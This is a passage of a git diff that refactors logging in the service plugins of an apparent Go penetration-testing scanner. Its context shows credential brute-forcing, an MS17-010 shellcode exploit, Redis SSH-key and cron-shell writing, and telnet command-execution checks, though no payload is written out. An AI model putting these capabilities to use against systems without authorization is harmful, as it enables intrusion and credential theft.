a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -55,7 +55,7 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig) if result.Success { - common.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password)) } return result @@ -146,7 +146,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, ses if len(hash) > 16 { displayHash = hash[:16] + "..." } - common.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash)) + session.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -268,7 +268,7 @@ func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, defer func() { _ = conn.Close() }() banner := "LDAP" - common.LogSuccess(i18n.Tr("ldap_service", target, banner)) + session.LogSuccess(i18n.Tr("ldap_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index 6133a68..e91b4ee 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -34,7 +34,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("memcached_unauth", target)) + session.LogVuln(i18n.Tr("memcached_unauth", target)) return result } @@ -128,7 +128,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host if p.testBasicCommand(conn, session.Config) { banner := "Memcached" - common.LogSuccess(i18n.Tr("memcached_service", target, banner)) + session.LogSuccess(i18n.Tr("memcached_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 20f67c9..0911a25 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -44,7 +44,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session } if isUnauth { - common.LogVuln(i18n.Tr("mongodb_unauth", target)) + session.LogVuln(i18n.Tr("mongodb_unauth", target)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -68,7 +68,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password)) } return result @@ -375,11 +375,11 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn } if isUnauth { - common.LogVuln(i18n.Tr("mongodb_unauth", target)) + session.LogVuln(i18n.Tr("mongodb_unauth", target)) return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")} } - common.LogSuccess(i18n.Tr("mongodb_auth_required", target)) + session.LogSuccess(i18n.Tr("mongodb_auth_required", target)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")} } diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index f4e0524..3defc30 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -62,9 +62,9 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session if osVersion != "" { msg += fmt.Sprintf(" [%s]", osVersion) } - common.LogVuln(msg) + session.LogVuln(msg) if hasBackdoor { - common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) + session.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) } return &ScanResult{ @@ -86,7 +86,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { config := session.Config target := info.Target() - common.LogSuccess(i18n.Tr("ms17010_start", target)) + session.LogSuccess(i18n.Tr("ms17010_start", target)) var output strings.Builder output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n") @@ -157,7 +157,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n") } - common.LogSuccess(i18n.Tr("ms17010_complete", target)) + session.LogSuccess(i18n.Tr("ms17010_complete", target)) return &ExploitResult{ Success: true, @@ -473,7 +473,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co return fmt.Errorf("MS17-010 exp failed: %w", err) } - common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) + session.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) return nil } diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index 69474cf..daeea6e 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -27,7 +27,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * config := session.Config state := session.State if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() @@ -48,7 +48,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password)) } return result @@ -124,7 +124,9 @@ func classifyMSSQLErrorType(err error) ErrorType { return ClassifyError(err, mssqlAuthErrors, mssqlNetworkErrors) } -func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() identifyCtx, cancel := context.WithTimeout(ctx, config.Timeout) @@ -157,7 +159,7 @@ func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - common.LogSuccess(i18n.Tr("mssql_service", target, banner)) + session.LogSuccess(i18n.Tr("mssql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 93ce62b..d0546b4 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -62,7 +62,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password)) } return result @@ -154,7 +154,7 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo defer func() { _ = conn.Close() }() if banner := p.readMySQLBanner(conn, session.Config); banner != "" { - common.LogSuccess(i18n.Tr("mysql_service", target, banner)) + session.LogSuccess(i18n.Tr("mysql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 30f3b29..4fab360 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -35,7 +35,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 先测试未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("neo4j_unauth", target)) + session.LogVuln(i18n.Tr("neo4j_unauth", target)) return result } @@ -55,7 +55,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig) if result.Success { - common.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password)) } return result @@ -246,7 +246,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - common.LogSuccess(i18n.Tr("neo4j_service", target, banner)) + session.LogSuccess(i18n.Tr("neo4j_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index f83fd65..f509152 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -76,7 +76,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session if netbiosInfo.Summary() != "" { msg += fmt.Sprintf(" %s", netbiosInfo.Summary()) } - common.LogSuccess(msg) + session.LogSuccess(msg) return &ScanResult{ Success: true, diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 4c53f01..c8103d8 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -32,8 +32,8 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session } // 先测试未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogSuccess(i18n.Tr("oracle_service", target, result.Banner)) + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { + session.LogSuccess(i18n.Tr("oracle_service", target, result.Banner)) return result } @@ -53,7 +53,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig) if result.Success { - common.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password)) } return result @@ -133,7 +133,9 @@ func classifyOracleErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试Oracle未授权访问 -func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() defaultAccounts := []Credential{ @@ -148,7 +150,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. if result.Conn != nil { _ = result.Conn.Close() } - common.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password)) + session.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -177,7 +179,7 @@ func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInf _ = conn.Close() banner := "Oracle" - common.LogSuccess(i18n.Tr("oracle_service", target, banner)) + session.LogSuccess(i18n.Tr("oracle_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 3fa7098..5cc2c46 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -33,12 +33,12 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先测试未授权访问 if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo)) + session.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo)) return result } @@ -58,7 +58,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password)) } return result @@ -219,7 +219,9 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com } } -func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds())) @@ -267,7 +269,7 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos banner = "PostgreSQL" } - common.LogSuccess(i18n.Tr("postgresql_service", target, banner)) + session.LogSuccess(i18n.Tr("postgresql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 4eabb41..34cefcf 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -38,7 +38,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 先检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner)) + session.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner)) return result } @@ -58,7 +58,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig) if result.Success { - common.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password)) } return result @@ -236,7 +236,7 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) { banner := "RabbitMQ AMQP" - common.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) + session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -297,7 +297,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm } if strings.Contains(strings.ToLower(string(body)), "rabbitmq") { banner := "RabbitMQ Management" - common.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner)) + session.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index 11daa0a..dcabb3a 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -56,7 +56,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if !isSingleCredentialTest { osInfo = p.probeOSInfo(target, config, state) if len(osInfo) > 0 { - p.logOSInfo(target, osInfo) + p.logOSInfo(target, osInfo, session) } } @@ -68,11 +68,11 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if osInfo == nil { osInfo = p.probeOSInfo(target, config, state) if len(osInfo) > 0 { - p.logOSInfo(target, osInfo) + p.logOSInfo(target, osInfo, session) } } banner := p.buildBanner(osInfo) - common.LogSuccess(i18n.Tr("rdp_service", target, banner)) + session.LogSuccess(i18n.Tr("rdp_service", target, banner)) return &ScanResult{ Success: true, Type: plugins.ResultTypeService, @@ -126,7 +126,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } result := fmt.Sprintf("RDP %s %s\\%s %s", target, displayDomain, cred.Username, cred.Password) - common.LogVuln(result) + session.LogVuln(result) return &ScanResult{ Success: true, @@ -197,7 +197,7 @@ func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *commo } // logOSInfo 输出系统信息 -func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) { +func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any, session *common.ScanSession) { var parts []string // 提取关键信息 @@ -235,7 +235,7 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) { if len(parts) > 0 { info := fmt.Sprintf("RDP %s [%s]", target, strings.Join(parts, ", ")) - common.LogSuccess(info) + session.LogSuccess(info) } } diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 7f3ba97..839400a 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -42,7 +42,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 首先检查未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet + session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { @@ -63,7 +63,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 如果成功,记录并执行利用 if result.Success { - common.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet + session.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { @@ -225,7 +225,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - common.LogError(i18n.Tr("redis_reconnect_failed", err)) + session.LogError(i18n.Tr("redis_reconnect_failed", err)) return } defer func() { _ = conn.Close() }() @@ -244,7 +244,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host } } - p.exploit(ctx, info, conn, password, session.Config) + p.exploit(ctx, info, conn, password, session.Config, session) } // identifyService 服务识别 @@ -297,7 +297,7 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo banner = i18n.GetText("redis_service_plain") } - common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet + session.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, @@ -321,7 +321,7 @@ func (p *RedisPlugin) shouldExploit(config *common.Config) bool { } // exploit 执行Redis漏洞利用 -func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) { +func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config, session *common.ScanSession) { if config.Redis.Disabled { return } @@ -330,7 +330,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n dbfilename, dir, err := p.getConfig(conn) if err != nil { - common.LogError(i18n.Tr("redis_config_failed", err)) + session.LogError(i18n.Tr("redis_config_failed", err)) return } @@ -346,9 +346,9 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n fileName := path.Base(config.Redis.WritePath) if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil { - common.LogError(i18n.Tr("redis_write_failed", writeErr)) + session.LogError(i18n.Tr("redis_write_failed", writeErr)) } else if success { - common.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath)) + session.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath)) } } @@ -356,15 +356,15 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n if config.Redis.WritePath != "" && config.Redis.WriteFile != "" { fileContent, readErr := os.ReadFile(config.Redis.WriteFile) if readErr != nil { - common.LogError(i18n.Tr("redis_read_failed", readErr)) + session.LogError(i18n.Tr("redis_read_failed", readErr)) } else { dirPath := path.Dir(config.Redis.WritePath) fileName := path.Base(config.Redis.WritePath) if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil { - common.LogError(i18n.Tr("redis_write_failed", writeErr)) + session.LogError(i18n.Tr("redis_write_failed", writeErr)) } else if success { - common.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath)) + session.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath)) } } } @@ -372,24 +372,24 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n // SSH密钥写入 if config.Redis.File != "" { if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil { - common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr)) + session.LogError(i18n.Tr("redis_ssh_key_failed", keyErr)) } else if success { - common.LogVuln(i18n.GetText("redis_ssh_key_success")) + session.LogVuln(i18n.GetText("redis_ssh_key_success")) } } // 定时任务写入 if config.Redis.Shell != "" { if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil { - common.LogError(i18n.Tr("redis_cron_failed", cronErr)) + session.LogError(i18n.Tr("redis_cron_failed", cronErr)) } else if success { - common.LogVuln(i18n.GetText("redis_cron_success")) + session.LogVuln(i18n.GetText("redis_cron_success")) } } // 恢复配置 if err = p.recoverDB(dbfilename, dir, conn); err != nil { - common.LogError(i18n.Tr("redis_restore_failed", err)) + session.LogError(i18n.Tr("redis_restore_failed", err)) } } diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index ddb0e66..7ebd751 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -40,7 +40,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) + session.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) findings = append(findings, result.Banner) } @@ -75,7 +75,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig) if result.Success { - common.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password)) return result } @@ -390,7 +390,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - common.LogSuccess(i18n.Tr("rsync_service", target, banner)) + session.LogSuccess(i18n.Tr("rsync_service", target, banner)) return &ScanResult{ Success: true, diff --git a/plugins/services/smb.go b/plugins/services/smb.go index 6270906..4f60eb1 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -49,13 +49,13 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } // 输出信息收集结果 - p.logSMBInfo(target, smbTarget) + p.logSMBInfo(target, smbTarget, session) // 2. 漏洞检测 (仅SMBv2+且端口445) if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 { if checkSMBGhost(ctx, info.Host, config.Timeout, session) { smbTarget.Vulnerable = &SMBVuln{CVE20200796: true} - common.LogVuln(i18n.Tr("smbghost_vuln", target)) + session.LogVuln(i18n.Tr("smbghost_vuln", target)) } } @@ -75,7 +75,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } else { successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password) } - common.LogVuln(successMsg) + session.LogVuln(successMsg) return result } @@ -102,7 +102,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } else { successMsg = fmt.Sprintf("SMB %s %s:%s", target, result.Username, result.Password) } - common.LogVuln(successMsg) + session.LogVuln(successMsg) } return result @@ -148,7 +148,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos fmt.Fprintf(&output, "\n%s", share) } - common.LogSuccess(output.String()) + session.LogSuccess(output.String()) return &ScanResult{ Success: true, @@ -165,7 +165,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos } // logSMBInfo 输出SMB信息 -func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) { +func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget, session *common.ScanSession) { msg := fmt.Sprintf("SMBInfo %s", target) if info.OSVersion != "" { msg += fmt.Sprintf(" [%s]", info.OSVersion) @@ -174,7 +174,7 @@ func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) { msg += fmt.Sprintf(" %s", info.ComputerName) } msg += fmt.Sprintf(" %s", info.Protocol.String()) - common.LogSuccess(msg) + session.LogSuccess(msg) } // buildInfoResult 构建信息收集结果 diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index e5dbf89..e4a4f08 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -222,7 +222,7 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati // 读取SMBv1协商响应 r1, err := readSMBMessage(conn) if err != nil { - common.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err)) + session.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err)) } // 检查是否支持SMBv1 diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index f6ecc4b..ce992ef 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -35,7 +35,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) + session.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) return result } @@ -62,7 +62,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig) if result.Success { - common.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password)) } return result @@ -536,7 +536,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, banner = i18n.GetText("smtp_mail_service") } - common.LogSuccess(i18n.Tr("smtp_service", target, banner)) + session.LogSuccess(i18n.Tr("smtp_service", target, banner)) return &ScanResult{ Success: true, diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index 7f3d980..cc2f81e 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -41,7 +41,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 如果指定了SSH密钥,优先使用密钥认证 if config.Credentials.SSHKeyPath != "" { if result := p.scanWithKey(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet + session.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet return result } } @@ -71,7 +71,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 记录成功 if result.Success { - common.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet + session.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet } return result @@ -182,7 +182,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, sess config := session.Config keyData, err := os.ReadFile(config.Credentials.SSHKeyPath) if err != nil { - common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet + session.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet return nil } @@ -236,7 +236,7 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, defer func() { _ = conn.Close() }() if banner := p.readSSHBanner(conn, session.Config); banner != "" { - common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet + session.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, Success: true, diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index c41c0f8..d4865cb 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -61,10 +61,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 检测未授权访问 if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) + session.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) // 验证命令执行能力 if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok { - common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) + session.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) } return result } @@ -97,10 +97,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig) if result.Success { - common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) // 验证命令执行能力 if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok { - common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) + session.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) } } @@ -559,9 +559,9 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } if p.isShellPrompt(cleaned) { - common.LogVuln(i18n.Tr("telnet_service", target, banner)) + session.LogVuln(i18n.Tr("telnet_service", target, banner)) } else { - common.LogSuccess(i18n.Tr("telnet_service", target, banner)) + session.LogSuccess(i18n.Tr("telnet_service", target, banner)) } resultChan <- &ScanResult{ @@ -798,7 +798,7 @@ func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *co if hit, ok := <-ch; ok { target := info.Target() - common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) + session.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index eb60de3..d8683fd 100644 --- 